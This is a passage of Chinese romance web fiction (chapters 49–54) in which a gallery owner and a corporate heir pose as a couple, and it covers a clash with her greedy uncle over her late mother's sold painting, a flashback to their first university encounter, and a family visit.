“你这孩子!”梁耀见她这副态度,用长辈教训晚辈的口吻说:“怎么长大了还没规矩了,见到舅舅都不喊?”
这时和梁耀同桌一起吃饭的男人主动插话:“你有福啊梁老板,这外甥女长得这么漂亮。”
梁耀见先前还摆着架子的齐总,态度突然来了个一百八十度大转弯,目光一个劲往江熙宁身上黏,心中顿时有了数。
这些年,他为了炒作艺术品,手里囤了不少画,想着放几年等画家出名了,这些作品的价值也跟着水涨船高。到时候转手一卖,那回报率自然惊人。
可是压哪个画家能出头,就和赌博一样,他就是这么倒霉,买的那些画这么多年都没起色,要说梁媛的画是因为江熙宁在背后搞的鬼卖不出去,但其他的画无人问津,那真的是老天不开眼。
于是他就想着找个不懂艺术的土老板,忽悠人买。
这齐槐就是他的目标。
“熙宁,快过来和齐总打个招呼,认识一下。齐总也想买画,说不定还会照顾你生意买你两幅画呢。”
男人一听江熙宁是开画廊的:“搞艺术的呀,那难怪漂亮的。找到对象了嘛?”
江熙宁的视线,这才落到说话的男人身上,男人看起来年纪比她大了一轮,全身上下都是明显的奢牌logo,手腕上系着一块明晃晃的金表,在餐厅的灯光下格外扎眼。
梁耀来了劲:“我这外甥女妈妈去世的早,她爸在她很小的时候重组了家庭,向来不管她的事,婚姻大事只有我这个做舅舅的总得张罗着。”
男人听完不由怜惜的看了江熙宁一眼,拍了拍梁耀的肩:“梁老板,那你这个舅舅责任大了。”
梁耀堆着笑:“要不老祖宗说,娘家舅舅最大呢。”
江熙宁听他提到妈妈,心里一阵反胃。如果血缘可以选的话,她才不要和这种人扯上一点关系。她强压着内心的厌恶,不想多看这人一眼。谁知抬步往外走时,梁耀却离开座位走过来拉住她:“你个昧良心的,从小吃我的,用我的。现在让你一起吃个饭,你还甩上脸子了——”
就在这时,于付忱的气息截断了梁耀的尾音。
见到江熙宁迟迟没出来,他不放心又折返回来。只见前一秒吃完饭高高兴兴的人,这会儿脸上的笑容荡然无存,站在她对面的男人,正对着她嚷嚷。
于付忱眉目冷沉,走到她的身边,“怎么了?”
说话时,将她往自己身后侧带了带,远离梁耀的位置。
梁耀的视线这会儿从江熙宁的身上转移到于付忱。
“哪里来的没礼貌的小子?”他摆出自己长辈的姿态,语气不悦:“我是熙宁的舅舅。”
江熙宁的厌烦已经完全压不住,但她不想在于付忱面前失态,更不想他掺和进来,说道:“别理他,我们走吧。”
“少和这些不学好的二代混在一起,小姑娘家的名声最重要。”梁耀看了于付忱一眼,年轻人超群出众,这气质看的出不是普通人家的孩子。但看这这年纪和穿着,顶多是个富二代,在梁耀眼里,富二代的钱都是他爹的,远比不上齐总那样的富一代好。
“人家齐总可是身价过亿的老总,你别不识抬举。”
“于总!”
坐在一旁的齐槐这时认出了于付忱,心里猛地一紧。他的公司是华盈集团旗下文创地产的一家小施工材料供应商,后来集团内部换了这位嫡孙上任,手起刀落,把所有的合作方几乎换了个遍,他们公司也差点被清理出局。
如今猝不及防在这儿遇见,他连忙从位子上站起来,整理了下衣襟,热情地伸出手:“您也来这边吃饭,真是太巧了!如果您肯赏光,让我来请您如何?”
于付忱并未抬手,也不记得这冒出来的人是谁,只记得他刚才落在江熙宁身上的眼神。
他眼神一暗,随即看向身旁的人:“不用,我们吃过了。”
谁不知道这位是于向华总亲自栽培的接班人,生活规律得简直像个精密的机器人。这才刚到饭点,他竟然这么早就已经用过餐了?
齐槐不由自主地瞥向旁边的江熙宁,心里暗自琢磨:难道是为了陪女朋友吃饭?
一想到这,他突然感到一阵冷汗直冒,刚才自己竟然还差点对人家女朋友动了不该有的心思,真是太大意了。他恼怒的瞪了梁耀一眼,这人简直想坑死自己。
梁耀看着眼前这位年轻的男人,让姓齐的这般低声下气、小心翼翼的,震惊的说不出话。能比齐槐都厉害的,肯定是更有钱,更大的人物。
齐槐尴尬地收回手,心中顿时有些不自在。这么大一集团的话事人,没记住他这个小小外包供货商倒也正常。虽然再往上追溯两辈,他爷爷和于董事长当初也有些交情。
想到这,齐槐又努力攀谈起两家过去的合作由来,试图拉近关系。
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然而,没等他说完,于付忱抬了抬眼皮,“你可能对我的行事风格不太了解,我和我爷爷不同。”
他目光扫过一旁的梁耀,冷冷地开口:“我最讨厌别人攀关系。”
-
于付忱和江熙宁走远后,齐槐火大的回到位子里,脸色阴沉得如同积雨云。
他一口气灌下杯中的酒,酒液刺激着火气更甚。
刚才梁耀竟然在于付忱面前拿他出去打压人。这显然惹到了这位新的掌权人。于付忱全程对他冷脸相待,他要是不高兴,没准今年的合作飞了不说还把他公司都搭进去。
这些年行业不景气,要不是靠着华盈这大山,公司早喝西北风了。
想到这,齐槐心中既烦躁又后怕。
梁耀见齐槐满脸不高兴,态度顿时谨慎和低微了些,试探的问:“这于总什么来头?”
齐槐被这么一问,火气瞬间飙升:“什么人?你我都惹不起的人!还在人面前拿我打压人,你是不是想害死我?”
梁耀也没想到这年纪轻轻的人,竟然这么大能耐。看齐槐这样子,他也没了原先起的算盘。只想着有了更好的外甥女婿人选,他齐槐算个屁。
“那怎么了,再大能耐不也是想给我当外甥女婿。”
齐槐被气得笑出声:“还外甥女婿,人家认你这个这个舅舅吗?”
蠢货。
梁耀一时语塞。
他强辩道:“血缘关系是她说不认就不认的?”
齐槐也不想和他多啰嗦,“行了,饭我吃饱了,公司还有事,先走了。”
梁耀不死心:“那画的事?”
齐槐拍拍屁股,夹上公文包,冷哼:“她不是你外甥女吗,都开画廊了帮你这亲舅舅出手不是顺手的事。”
梁耀脸色一阵青白。
这人都走了他也起身打算走。
服务员见状递来账单。梁耀看着四位数的账单,惊叫起来:“什么菜这么贵!你们抢钱吗?”
服务员态度不卑不亢,礼貌的回答:“先生,本店明码标价,所有菜单上都有标注价格!”
梁耀心中暗骂,这家餐厅是那齐槐选的地方,他倒是免费大餐吃得心满意足,然后潇洒地走人,什么都没付出,留他当冤大头。
一股怒气涌上心头,他猛地摔了手里的杯子,“刚才那人定的你们家,找他去。”
服务员脸上依旧挂着职业性的微笑,不紧不慢的说道:“不好意思先生,根据我们店的规定,杯子损坏时需要照价赔偿的。您需要另付价格188元。”
“……”
-
离开后餐厅后,江熙宁觉得晦气,这一天的好情绪,却被一个不想见到的人完全破坏了。
于付忱察觉到她明显变差的情绪:“你舅舅,对你一直这态度?”
江熙宁不轻不重的嗯了一声。
“小时候他一直说我是个外人。所以我没把他当亲人。”
想到在餐厅里于付忱护着她,江熙宁皱了皱眉,担心梁耀又起什么歪点子,她提醒道:“我舅这人势力、爱财,只要有利可图六亲不认,什么事都干的出来。你以后见到他千万别搭理他。”
别说两人只是假情侣的关系,就算真的,她也不想因为她家里的这点破事给人惹上麻烦。
天空中灿烈的太阳,不知被哪里飘来的一朵孤云挡住了日头。
车内的光线暗淡,气氛随之安静下来。
过了会儿,于付忱突然开口问:“当初,是他卖了你妈妈的画?”
江熙宁闻言,愣了一瞬,错愕的回头看着于付忱:“你怎么知道?”
“你告诉我的。”
怎么可能,这件事她和前任李晋许都没提过。
怎么可能和他提?
于付忱看着她诧异的表情,停了片刻,说道。
“大三,在行政走廊。”
50. 第 50 章
江熙宁像被钉在副驾驶的位置上,脑袋里还有一群小蜜蜂嗡的一声飞过。
怎么会是他呢?
怎么可能是他呢?
场面像是被按下了暂停键。
于付忱像是闲聊中无意提到了一段两人曾经的交集,并没有展开话题。
隔了好久,江熙宁有些不敢相信的再次确认:“那天是你?”
江熙宁的声音很轻,好像声音大一点大脑里的那根绷起来的线就会立刻毫无预兆的断掉,她努力维持面上的平静,耐心等于付忱的回应。
于付忱则不紧不慢的偏头看了她一眼,露出一副“你忘了”的神情。
忘了,怎么可能忘。
大学里的许多事情也许她都记不太清,唯独这一件事情,不可能忘。
她记起那天,就像记起自己名字一样简单。
答案已经不言而喻。
以前,她有和李晋许问起过走廊的事,可是李晋许说记不清了。
现在她才知道,不是记不清。
是认错了人。
窗外的景色飞速的后退。
江熙宁的记忆磁带也倒回了大三暑假前的那个周末。
青城的六月,燥热的夏意在空气中膨胀,在气温连日攀升之后,闷热的像个烤炉。天气预报说,今夜会有暴雨。
下午太阳还毒辣着,但是天空中聚集了越来越多的积雨云。
看起来,这雨也有可能会提前下。
因为梁媛的葬礼,以及后续的一系列事情,江熙宁一个星期的假,逐渐延长到了一个月多月,回到青大后她将自己整天整天的泡在了图书馆。
即将迎来考试周,落下许多功课需要补。除此之外,她不想呆在爸爸家。在葬礼上改口的事让她和江礼大吵一架。
江礼一直认为梁媛是出轨才不顾一切的要和他离婚,回到宁城。只是没什么证据,姜海澎的出现,让他自然而然的以为就是梁媛当年的出轨对象。
而她认一个小三做爸爸。
自从梁媛去世后,江熙宁发现身边所有的关系都变得和这天气一样,失去控制,反复无常,不断预警。
她的手机也跳出提醒。
最后一丝血线,电量即将耗尽。
这一下午,电话已经不知响了多少个,江熙宁每每摁掉,但隔十分钟还是不断有电话进来。
不知疲倦,像极了势要叫醒人的闹钟。
又过去十分钟。
电话再一次响起。
还是外婆的来电。
江熙宁盯着屏幕看了一会儿,最终还是起身走出了图书馆。
话筒的另一端,梅淑芬的声音顺着聒噪蝉鸣声一同传来,依旧是那句开场白。
“熙宁啊,你赶紧撤诉听到没有!”
葬礼结束后,江熙宁将梁耀告上了法庭,遗产纠纷这种家庭矛盾很快就在亲戚朋友圈传开。从那之后,梅淑芬便每天打电话来。
“你这孩子主意怎么这么大,怎么能告你舅舅?这不是让街坊领居看我们家笑话。这两天我一出门,那些街坊邻居当着我的面都在说三道四的。有什么矛盾,一家人私下里商量,你赶紧去把那诉给撤了,听见没?”
江熙宁沿着人流少的方向走,自始至终不发一言,只是听梅淑芬在那劝骂,老人家心里有气,让她发泄,也许就好了。
相比于梁耀对此的无所谓,梅淑芬对这事要激动的多。除了因为这事儿让她觉得被别人当成茶余饭后的谈资不体面,更多的是她受不得梁耀吃亏。
梅淑芬生了一儿一女,但论起疼爱,一直更偏爱梁耀。因为外公走得早,她就把梁耀当作了年迈后依附的支撑,梁耀说什么她都信,无条件地支持和帮衬。
电话里,梅淑芬仍在絮絮叨叨,“你妈妈要是还活着,肯定也不能让你这么做。都是一家人哪里分的那么清。这画你卖和你舅舅卖没有区别,况且你舅舅说了,卖了画的钱给你攒着,等你以后嫁人了当作嫁妆。”
“嫁妆我自己攒。”江熙宁接过话,又问:“我妈妈的画他就能还我了?”
梅淑芬没搭茬,又把刚才的那一番话换了个表述讲了一遍。
江熙宁恢复了沉默。
见她不说话了,梅淑芬又说:“你把你舅舅告进去,画你也拿不回来了。”
江熙宁眼睫动了动,这才有了反应:“外婆,''拿不回来了''是什么意思?”
梅淑芬意识到自己嘴快,一时停住了话头。
“外婆!”江熙宁攥紧手机:“梁耀把我妈妈的画卖掉了?”
梅淑芬索性也不瞒了,搬出最后的杀手锏:“听外婆的,不要胡闹了。你要是起诉,除非我老婆子进棺材看不见。”
江熙宁询问无果,挂了电话后又拨通了梁耀的电话,她要亲口问清楚。
葬礼上大吵的那天,梁耀在众人面前表现出一副大义凛然的样子,说这幅画不是为了钱,而是去世的妹妹留给他的纪念品。
这才过去多久。
梁耀半天才接电话。。
“小孩子好好念书,少管大人的事情。碰,放下放下,手那么快干什么!”电话里混杂着人声和麻将洗牌声。
“你是不是把我妈妈的画卖了?你卖给谁了!”
空旷的走廊里,江熙宁的声音被放大,她听见自己的声音在发抖。
梁耀失碰对子,更不耐烦,“你不是起诉了吗?你找法官问我。”
电话被直接挂断。
江熙宁再打过去,通话中。
再打,关机。
机械的女声一遍遍响起,江熙宁一遍遍的听,这时的她没注意到倚靠在栏杆上,看手机的身影。
梁耀不会接电话了。
江熙宁捏了捏拳头,缓缓放下发烫的手机。
等她再抬起头,发现走到了走廊的尽头,前面没路了。
只有一堵墙。
这走廊是图书大楼和行政楼连接的廊桥的延伸段,呈一个T型。左右两侧都是一排排的玻璃窗。
因为是一条不通的路,平日里来的人少,不知道什么时候尽头这堵墙被装饰城心愿墙,成了安于一隅的一方小天地。
江熙宁不知道自己怎么绕到这里,她沉默的走到心愿墙前,墙上面贴满了五颜六色的便利贴。有人在这里抒发忧思,有人热烈地向某人表白,还有人满怀憧憬着未来。
毕业季的到来,不少学长学姐也来留言,覆盖在最外面的一层。
【小孩子才怕分离,可我已经是大人啦^^】
【在所有的道别里里面,我还是最喜欢:明天见!】
【如果以后再也见不到你,那祝你早安、午安、晚安!】
江熙宁盯着那一行行道别的小字,看了好久好久。她翻出手机里和妈妈的聊天记录。
梁媛给她发的最后一句,是“晚安”。
这句话成了永远的道别语。
她们之间的对话永远停留在两个月前。
她再也不会收到妈妈的消息了。
江熙宁眼眶渐渐发红,她用力眨了眨眼,手指往上滑动,点开梁媛去世前给她发的语音。
妈妈:【宝贝,你看。这只偷吃奶酪的像不像小时候外婆家的那只?你记不记得那时候你哭鼻子,说小老鼠偷吃了你的早餐。】
出事的前一晚,梁媛去了趟奥斯陆的蒙克美术馆,给她发了美术馆模拟的蒙克的家。家具的犄角旮旯里有许多老鼠洞,里面住着一群可爱的小老鼠。其中一张照片里,一只小老鼠正捧着一块奶酪,吃得津津有味,漆黑的圆
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眼看着镜头,模样憨态可掬。
小时候,梁媛白日接稿画一些商业画维持生活的开销,到了晚上才有时间去创作自己真正想画的作品。所以年幼的江熙宁晚上都是自己睡觉。有一晚她被房间里偷吃面包的老鼠吵醒。
黑暗中的窸窣声、闪烁的小眼睛、啃咬的声响……这些恐怖的细节如同夜晚的阴影,在江熙宁心中留下了深刻的印象。
妈妈:【换个角度看,小老鼠是不是还挺可爱的?】
在艺术的世界里,这些在夜色中穿梭的小老鼠,它们在家具的缝隙里安家,在月光下寻找食物,它们的生存同样充满了努力与执着。这种对世间万物的体察,是梁媛一直在教江熙宁的,用另一种视角去感受世界。梁媛热爱画画也来源于此。
她一直想让自己的作品走的更远,走向广阔的舞台。
只是生命太脆弱,意外来的太突然。
直到现在,江熙宁仍然不敢相信,出国前还笑着的妈妈,等她再见已经是变成了冷冰冰的尸体。
江熙宁按下语音键,眼泪不受控从眼眶里溢出,顺着脸颊滑到下巴,一滴一滴砸在手背上。
“妈妈。”
“……”
“你的画被梁耀抢走了,我刚刚知道他把画卖了。可是外婆……外婆不让我告他,我真的不知道还能怎么办了。”
“我把你的画弄丢了。”
60秒的时限没用完,厚重的积云如同翻滚的墨汁,在一瞬间吞噬了整个天空,将世界笼罩在一片压抑的黑暗之中。
走廊的灯都没反应过来亮,手机跟着天光一同暗下。
眼前的世界像是被吞没。
一切归于寂静。
下一秒,手机震动声响起,声音不大,但是在静谧的环境中格外清晰。
不是她的。
因为她的电量耗尽关机了。
江熙宁这才注意到这里不是只有她。意识到这一点,她都没来得及查看另一人在哪里,立刻背过身,朝向窗外的方向,用掌心抹去泪水。
她一点也不想被人看见哭。
家里发生了这么重大的事,她没有和任何一个同学提。
她不习惯把难过逢人就说,别人也无法感同身受。
“还没输就开始放弃。”
有人朝着许愿墙这边走来,是个男生的声音,沉沉的融于这暗色中,却透着干净。
江熙宁背脊一僵。
听见她说的话了?
她没敢转过头去,虽然觉得他的话像是在回答自己的疑惑,但两人素不相识,第一次见面,他没必要特意来安慰自己。于是用余光瞄向不远处在许愿墙前站定的人。从这个角度看过去,是一道清瘦但带有薄肌的背影,右手上抓握着白色的球衣。
上面绣着大大的数字2,另一个数字有一半藏在褶皱里,好像是个3字。
23号。
江熙宁想起今天学校里好像有校篮球友谊赛。
“丢了,那就去抢回来。”
男生左手举着电话,挡住了大半张脸,似乎没注意到她的存在,语气是藏不住的矜傲。
他漫不经心的四下环顾了一圈,发现没有便利贴,低头从兜里翻找着能写字的东西。
确认对方是和电话里的人说,江熙宁松一口气。在飞速离开和等人离开之间犹豫了片刻,但还没等她做出决定,身后的人飞速写完心愿,转头走了。
等他走后,江熙宁再次看向许愿墙,墙上密密麻麻的便利贴,多一张也分不清。
她也并不想去探究别人的心愿。
就在江熙宁打算离开时,她的视线忽然一顿,窗台的边沿上安静的躺着一块长方形的东西。
她确认来的时候没有。
是一包纸巾。
51. 第 51 章
再后来,江熙宁离开行政走廊,心情复杂的往回走。没了复习的心思,干脆回家。
路过篮球馆时,里面传来的欢呼声和篮球拍打地面的“砰砰”声吸引了她的注意。她想起在走廊上遇到的那个男生,手里也拿着的篮球服,应该是来打比赛的校友。
在走廊上江熙宁没敢看他的脸,只记得衣服上除了2之外的另一个数字,半边的形状像3。
江熙宁的目光从全场扫过,奔跑跳跃的人群中,只有一个23号。
她的特意多留意观察了下,确认场上并没有26、28、29这几个可能混淆的数字。
但结果,还是搞错了。
并且毫无预兆的让她知道当初的事情还有一出乌龙。
从回忆中拉扯出来,江熙宁脸上虽然努力的在维持平静,实际内心像一团缠绕的乱麻。
反观对这起乌龙事件负有很大责任的人,一只手握在方向盘上,姿态慵懒,神情淡然。
与其搁在心里猜来猜去,耗费心神,不如将心中的疑团一次性解开。
于是江熙宁问道:“我当时看见你手里拿着23号篮球服,你没参加比赛?”
于付忱闻言挑了挑眉,淡淡的说:“那是学校篮球队的比赛。”
在青大,所有人都下意识的将于付忱排除在“学生”这个范畴之外。不仅仅是因为在各科成绩上他无可挑剔,更在于在同龄人享受多姿的校园生活、丰富的社团活动时,他已经独立支撑一家发展停滞的分公司,他需要在毕业之前完成于向华给他的这一考验,从而证明他是合格的华盈集团的继承人。
那件球衣,是那天他从宿舍出门时,偶然遇到戴阳。戴阳原本要去给李晋许送球衣,但突然说肚子痛,请求他帮忙把球衣带给李晋许。于付忱看着戴阳疼得直不起腰的样子,没多想就接过了球衣,反正顺路。
仅此而已。
但很快,于付忱从江熙宁的神情中明白了什么,他顿了下,眸光倏忽闪烁。他偏过头,看向江熙宁的眼神露出罕见的神情,有什么东西在那漆黑的眼睛里翻涌。
“你以为是李晋许?”
“……”
不然呢。
意识到这话题扯到了李晋许身上,江熙宁立刻中断了话题。
认错人是真的,但她后来对李晋许的喜欢不是假的,因此分手时受到的伤害也
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是真的。
罢了,孽缘不必再提。
江熙宁扯开话题,“关于我妈妈的画,”她顿了顿,佯装控诉道,“哪里是我告诉你,分明是你偷听!”
话音刚落,于付忱嗯了一声。
非常直白的承认了。
对于“偷听”这一罪名,完全没有辩解或否认的意思。
江熙宁感觉自己一拳打在棉花上。
算了算了,她大人不记小人过。
“反正我也偷听你和别人打电话,扯平了。”
不管怎么样,当初她被于付忱的那句话鼓励过。
在她人生那样至暗的时刻,给了她和梁耀周旋至今的勇气。
车子在画廊的门口停下,江熙宁解开安全带,准备下车。
正要开车门时,却被身后的人叫住。
“怎么了?”江熙宁的动作停下,回过身。
引擎在车子停下时熄了火,咆哮的巨兽骤然安静下来。
“那天的话——”
于付忱眸光扫过来,沉沉的停在她身上,在偏射进车窗的潋滟春光下,他的眼睛像是发光的水面。
“是和你说的。”
52. 第 52 章
江熙宁愣住,有种微妙的感觉从心脏的位置蔓延开,在密闭的空间内扩散。
话是特意对她说的。
那么纸巾也是他特意留的。
她几乎是下意识脱口问:“为什么要和我说那些话?”
江熙宁心里清楚,于付忱不是会多管闲事的类型。
于付忱对上一双炯炯发亮的眸,聪明的她很善于抓住问题的关键。
但似乎,现在还不是一个很好的时机让她知道她妈妈的画在于茂林的手里。于茂林那老狐狸,心机深沉,手段阴辣,绝非梁耀那种明眼上的坏。
江熙宁见他迟迟没开口,以为他不打算回答自己的问题。不想,又过了两秒的光景,他开口。
“因为你,”他顿了下,神情依旧无澜,却认真的看着她的眼睛说道。
“美的令人发纸。”
哇!
这人竟然用当初她的话当理由敷衍自己。
江熙宁瞪他一眼,丢下一句:“我谢谢你,好、心、人!”
头也不回的下了车。
-
送完江熙宁,于付忱去了公司,由于他上午去了法隐寺,原本安排的行程和工作全部推迟到了下午。
三个会被挤压在一起,无缝衔接。
在第三个会议接近尾声之际,于付忱正聚精会神地听取下属的工作汇报。就在这时,他无意间抬头,发现于天文正悄悄地刷卡进入公司。由于会议室的视线正好可以穿过玻璃门,于天文那偷偷窥视他办公室的小动作,完全落在了于付忱的眼里。
于天文进入自己的小领地,才敢长长的叹一口气。
气还没叹完,冷冽的声音出现在他身后。
“怎么,你来上晚班?”
于天文背脊一僵,条件反射般的回过头,正对上他哥那张严肃的脸。
“哥……我事出有因。”
于付忱踱步到窗边的沙发,单手拨了拨西装坐下,黑色手机落在茶几上是发出清脆的声响。
他抬眼,“说来我听听。”
自从那天造访姜家,于天文和于付忱保证,他以后一定会努力,用实际行动证明自己。
因为他意识到,如果他没有足够的实力、金钱和资源,且不提让江熙宁喜欢他,他连她家里这一关都过不去。
在姜家那一下午的时间里,姜海澎几乎没分出余光来打量他。就算是要追江熙宁,他能拿出什么啊?
他至今都还靠着于付忱的帮助。
总不能靠一辈子。
“哥你别生气,我才受打击,你明天再教训我行不行。”于天文丧气的坐到位子里。
“谁打击你了?”
“姜明初。”
“姜明初?”于付忱皱了皱眉,“他打击你做什么?”
于天文拿过桌上的水喝了一口,把昨天发生的事情复述了一遍。
“我兄弟池延一直在努力和他前女友复合,哦,他前女友叫乔西娅,是宁宁最好的朋友。本来这事儿已经有谱了,但没想到半路杀出个程咬金,乔西娅的青梅竹马要从国外回来了,池延复合的事情没戏了。哥,你知道乔西娅的青梅竹马是谁吗?”
于付忱瞥他一眼,“你说相声呢?”修长的指节敲了敲茶几,“说重点。”
于天文撇了撇嘴,“重点是,乔西娅的青梅竹马才是江熙宁的亲哥。那姜明初和宁宁没有血缘关系。”
他有些懊恼,当初也是大意了,一听对方姓姜就以为是亲哥哥。
“就这?”客观事实摆在那里,看不见是眼瞎,搞不清楚状况就冲上去的更是莽夫。
于付忱早就和于天文说过这一点。
“……”
“姜明初,是宁宁的青梅竹马,亏我当初还拼命的想和人拉近关系。”于天文闭了闭眼,一股原来我才是小丑的悲愤顺着冰水顺着喉咙往下流,心里也跟着凉凉的。“难怪去完姜家的第二天,姜明初竟然会主动找我,让我们不要再去姜家,不要去打扰宁宁。”
于付忱在听到“我们”两个字的时候,终于是说了一句话。
“青梅竹马又如何。”
于天文为于付
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忱这一句挺他的话有些感动。
“哥,你不懂青梅竹马的含金量。池延那么喜欢乔西娅,什么都愿意给她,在竹马面前还不就是一过客。”
想到昨天好兄弟借酒消愁,一边喝还一边劝他早点放手,于天文心里就像被堵了一块大石头,怎么也消不下去。他亲眼见过姜明初和江熙宁之间的相处,江熙宁对姜明初充满了信任,姜明初对江熙宁是明眼人都能看出来的爱护。
“哥。”于天文幽幽道:“你说……”
于天文再次睁开眼时,发现沙发上的位置已经空了。
于付忱不知何时已经离开了。
-
这一下午,同样忙的和陀螺一样的还有江熙宁。
她简直一分钟掰成三分钟用。
好在压力出效率,在五点前忙完手里的工作。她揉了柔酸涩的肩颈,收拾东西准备回一趟姜家,确认平安符没落下,给姜海澎送过去。
她拿过桌上的手机,查看微信消息。
下午那会儿她发消息给姜明初,问他晚上是不是回家。
姜明初在两个小时前给她回了消息,【回的。】
江熙宁回:【晚上见。】
那就顺便研究下这父子俩是怎么个事儿,好端端的吵架。
就在这时,另一条消息也跳了进来。
于付忱:【忙完了吗?】
江熙宁想到这人没事不会找自己,两人才达成合作,说不定是有什么需要她配合的地方。
她回:【刚忙完。什么事?】
消息刚发出去,江熙宁看见屏幕上方显示“正在输入中……”
于付忱:【打算什么时候回碧湖湾?】
还真是超出预期的合作对象,这就开始q她进度了。
江熙宁:【今晚。】
于付忱:【好,我过来接你。】
于付忱:【姜总约了我去家里下棋。】
江熙宁突然想起许姨说,姜爸和姜明初吵架的那天,家里来了个客人。
于付忱就是姜爸那个棋友?
53. 第 53 章
车灯扫过熟悉的雕花铁门,在院前停下。
走到门口,江熙宁深吸了一口气,第一次,回家让她心里有些忐忑。但又觉得不必过于紧张。在姜爸面前,越是刻意,越容易露馅,好在两人现在的“进度”是刚相完亲正常接触中,不需要表现亲密。
于付忱察觉出她的紧张,“我也是第一次。”
“?”
随即江熙宁会意,他指的是第一次假扮人男友。
于付忱:“要说紧张,应该也是我。”
被他这么一说,江熙宁缓解了不少。想也是,于付忱才是见家长,被检视的一方。
许姨听到外面的车声,忙来开门。江熙宁从没往家里带过任何异性,见两人男才女貌并肩站在一起,直笑着将人往里迎。
“姜先生在里院。”
两人一路进了院子。
姜海澎正在院里喝茶,看见江熙宁和于付忱一同来,眼角笑意明显,“宁宁来了”。
江熙宁走过去,茶桌上摆着切好的水果,还有一副围棋。
姜海澎放下茶杯,同于付忱说道:“来,小于,今日再切磋。”
于付忱自然的坐到了他对面。
江熙宁不懂围棋,但是下围棋有多费脑和体力她还是知道一点的,一两个小时能结束都算快的:“爸爸,您该多休息。”
姜海澎摆手:“看见你们两来,我全好了。”
两人今日一同出现,足以说明了俩孩子有缘,感情的事姜海澎不想拔苗助长,更不想让两人有压力。很快就转开了话题:“小于难得有时间陪我切磋。”
江熙宁想到姜海澎说,于付忱的对弈技术了得,加上姜海澎又喜欢围棋,不由担心他身体。于付忱感觉到她的顾虑,低声道:“别担心,吃饭前分胜负。”
江熙宁点头。
“那你别输的太''惨烈''。”
“……嗯。”
于付忱自然地坐到了姜海澎的对面。
江熙宁不懂围棋,所以体会不到其中的乐趣,围棋这东西懂规则的人沉迷,不知道的则完完全全就是门外汉。
她现在就是那个门外汉。
不过也好的是,开始下棋后,姜海澎全身心的投入到棋局里去了,没多问两人的事。
江熙宁拿过手机,打算给姜明初发消息,问他人到哪里了。正要发时,姜明初进了院子。
“明初哥,你回来了。”
在看见于付忱的那一刻,姜明初神情顿了顿,恰巧于付忱也对上他的视线。“不知道今天家里来客人,不然会早点过来。”
姜海澎问:“事情忙完了?”
“晚些时候还要回趟公司。”
姜海澎看着许久未回家的儿子,瘦了些,父子对抗心疼的终归是父亲,“辛苦了,让许姨给你多做几个菜。”
江熙宁敏锐的察觉到,父子之间气氛怪怪的。
她从位子里起身,“他们下棋,明初哥,你陪我摘花去。”
带点撒娇和使唤的语气,于付忱看着飞奔向姜明初的江熙宁,移回视线。
姜明初脱下外套,笑的温和:“我去拿剪刀和花篮。”
江熙宁脆生道:“我和你一起。”
两人有说有笑地回屋拿了工具,朝着玻璃花房走去。
等确认离的够远,江熙宁停下脚步,才开口问姜明初:“你和爸爸为什么吵架?”
她特意拉走姜明初,就是为了搞清楚这事儿。
姜明初说:“我有件想争取的事,和爸爸暂时没法达成统一意见。”
江熙宁望着姜明初,从小到大,姜明初一直是长辈嘴里的好孩子,别人眼中的“别人家的孩子”。懂事,孝顺,谦逊,上进,别的男生青春期叛逆在他的身上从没发生过。即使在旁人盛传姜海澎是因为梁媛才和他妈妈离婚,他依旧听姜海澎的话,接纳和照顾她这个没有血缘关系的妹妹。
江熙宁至今记得,初到姜家的那段日子,一切对她而言都是陌生的。她常常因为不适应夜里失眠,导致第二天早上起不来床。那时候,两人都是由司机一起接送上学,她起的晚,吃饭慢,就会害姜明初也迟到。所以每次看他吃的差不多了,便说自己也吃好了。
姜明初发现她说谎后,就默默的改了自己的习惯,他刻意放慢自己吃早餐的节奏,会耐心地陪着江熙宁把早餐吃完。
这样细心温和的明初哥,第一次展露自己不想被抹平的棱角。
江熙宁只觉得意外,她和姜明初相处多年,从未见过这样的他。
她问:“
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是很重要的事?”
姜明初看着江熙宁的眼睛,声音依旧温和,但神情却郑重:“对我而言,很重要。”
他已经记不清自己究竟是在什么时候喜欢上她的了。他们十岁相识,此后朝夕相伴,或许是这漫长而温柔的时光,让最初的喜欢在不知不觉中悄然发酵,最终变质成了爱情。
江熙宁见姜明初认真的神情,反倒不知道说什么了。
姜明初见她不说话:“你和于付忱是什么情况?”
江熙宁其实有想过要不要告诉姜明初实情,但转念一想,还是算了。这种需要飙演技、欺骗长辈的事,姜明初一定干不来。说不准原地就穿帮了。
家里已经有一个惹姜爸不高兴的了,要是再来一个……
江熙宁说:“就你现在看见的情况。”
“为了应付爸?”姜明初的语气中带着几分不信,“你以前,不是不喜欢爸爸插手你的事。”
江熙宁下意识否认,“我要是想应付,之前哪个不行。”
她把剪下的玫瑰放进编织篮里:“而且于付忱不是爸爸安排才认识的,我和他认识挺久了。他和我是青大的校友,也是江印的兄弟。”
姜明初怔了怔,似乎没想到两人竟然认识那么早,“你喜欢他?”
江熙宁有些心虚,低头去拨弄手边的玫瑰,装作挑哪一朵来下手的样子。人在心虚的时候,总是不由自主的提高声量来提升气势,让对方相信自己。
她边选边说:“喜欢啊。”
喜欢分那么多种,也可以是出于对朋友的喜欢嘛!
而且,喜欢可以是一类人,爱只能是一个人。
但从长相、身材这些肤浅的视觉外在来看,确实是她喜欢的那一类。
“那于付忱呢?”姜明初心中的醋意翻涌,提醒道:“他来宁城只是因为工作呆一段时间,以后会回青城去。”
说了一个谎,接着就需要说无数个谎。
但说下一个谎的时候,会比上一个熟练很多。
“他啊……”
江熙宁脸也厚了些,清了清嗓子说道:“一直暗恋我呢!”
话音刚落。
一道欣长的身影出现在玻璃花房外。落日斜照,被拉长的影子覆住她手心的玫瑰。
54. 第 54 章
夕阳余晖跟在于付忱的身后,他清冷而凌厉的轮廓愈发鲜明。他站在那儿,平静地看着她,目光幽深,玩味。
江熙宁的心猛地一跳,指尖不自觉地收紧,玫瑰的刺扎到指尖,都忘了松手。
尴尬比痛觉先一步占据了她的大脑。
刚从嘴巴里滚出去的话,烫的吓人,她从脸颊一路烧到耳根,甚至怀疑自己整个人都熟透了。
如果不是姜明初在,她可能表演原地尿遁。
慌神间,于付忱已经走到她面前,鞋尖与她在土里踩出的脚印相抵。
江熙宁吸了口气,努力让自己冷静下来。她告诉自己,反正她和于付忱的合作本就是假的,说两句假话,他应该不会真的介意……吧?
“你……怎么过来了?”
于付忱弯下腰,拿过江熙宁脚边的花篮,伸手拿过她手里的摘下的玫瑰放进去:“我来看看有什么要帮忙的。”
